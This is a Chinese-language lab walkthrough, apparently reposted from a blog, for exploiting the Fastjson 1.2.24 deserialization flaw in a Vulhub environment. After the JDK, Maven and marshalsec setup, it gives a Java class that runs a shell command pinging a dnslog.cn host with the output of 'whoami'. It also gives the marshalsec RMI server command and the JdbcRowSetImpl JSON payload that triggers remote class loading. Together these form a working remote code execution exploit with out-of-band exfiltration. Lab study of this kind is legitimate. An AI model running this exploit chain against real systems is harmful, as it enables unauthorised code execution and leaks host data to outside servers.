Fastjson 1.2.24反序列化漏洞

2022-03-06 02:31:26 阅读：253 来源： 互联网

标签：Fastjson 24 dnslog java maven opt HOME 序列化 marshalsec

1.靶场采用Vulhub，一键启动fastjson漏洞环境

2.java jdk采用1.8.0_281

2.1.mkdir /opt/java
2.2.tar zxvf jdk-8u281-linux-x64.tar.gz -C /opt/java
2.3.vim /etc/profile
　　末尾添加：
　　export JAVA_HOME=/opt/java/jdk1.8.0_281
　　export JRE_HOME=/opt/java/jdk1.8.0_281
　　export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
　　export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin
2.4. source /etc/profile (之后就可以关闭命令窗口了)

2.5java –version （如果你是其他版本需要换下）
　　如果成功显示：
　　java version "1.8.0_281"
　　Java(TM) SE Runtime Environment (build 1.8.0_281-b09)
　　Java HotSpot(TM) 64-Bit Server VM (build 25.281-b09, mixed mode)）
2.6更换版本：
　　update-alternatives --install /usr/bin/java java /opt/java/jdk1.8.0_281/bin/java 4
　　之后输入：update-alternatives --config java （填写对应版本序号）

3.安装maven

3.1下载 wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

　　mkdir /opt/maven

3.2配置环境变量
　　vim /etc/profile
　　在最下面增加
　　export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
　　export PATH=$MAVEN_HOME/bin:$PATH
　　验证maven是否安装成功
　　mvn -version

4.0安装marshalsec

4.1下载 git clone https://github.com/mbechler/marshalsec.git

　　　　cd marshalsec/

4.2编译项目

　　mvn clean package –DskipTests
5.0生成dnslog.class

5.1配置dnslog.java

 1 // javac TouchFile.java
 2 import java.lang.Runtime;
 3 import java.lang.Process;
 4 public class dnslog{
 5     static {
 6         try{
 7             Runtime rt = Runtime.getRuntime();
 8             String[] commands = { "/bin/sh", "-c", "ping user.'whoami'.9d33fn.dnslog.cn"}; 
 9             Process pc = rt.exec(commands);
10             pc.waitFor();
11         } catch (Exception e) {
12             // do nothing
13         }
14     }
15 }

#你们利用的时候把9d33fn.dnslog.cn改成自己的dnslog即可
使用命令javac dnslog.java生成dnslog.clss

环境运行：
dnslog.clss文件在哪，在哪开启终端输入下面命令

python -m SimpleHTTPServer 8000

cd marshalsec/
cd target/

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.220.129:8000/#dnslog" 9999

这里192.168.220.129:8000 ip和端口，分别是启动python服务的ip及端口

抓包改为post，发送下面的数据，其中ip和端口分别为python服务的ip和 marshalsec服务端口

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
         "dataSourceName":"rmi://192.168.220.129:9999/dnslog",
        "autoCommit":true
    }
}

标签：Fastjson,24,dnslog,java,maven,opt,HOME,序列化,marshalsec
来源： https://www.cnblogs.com/Pojian/p/15970212.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9

Fastjson 1.2.24反序列化漏洞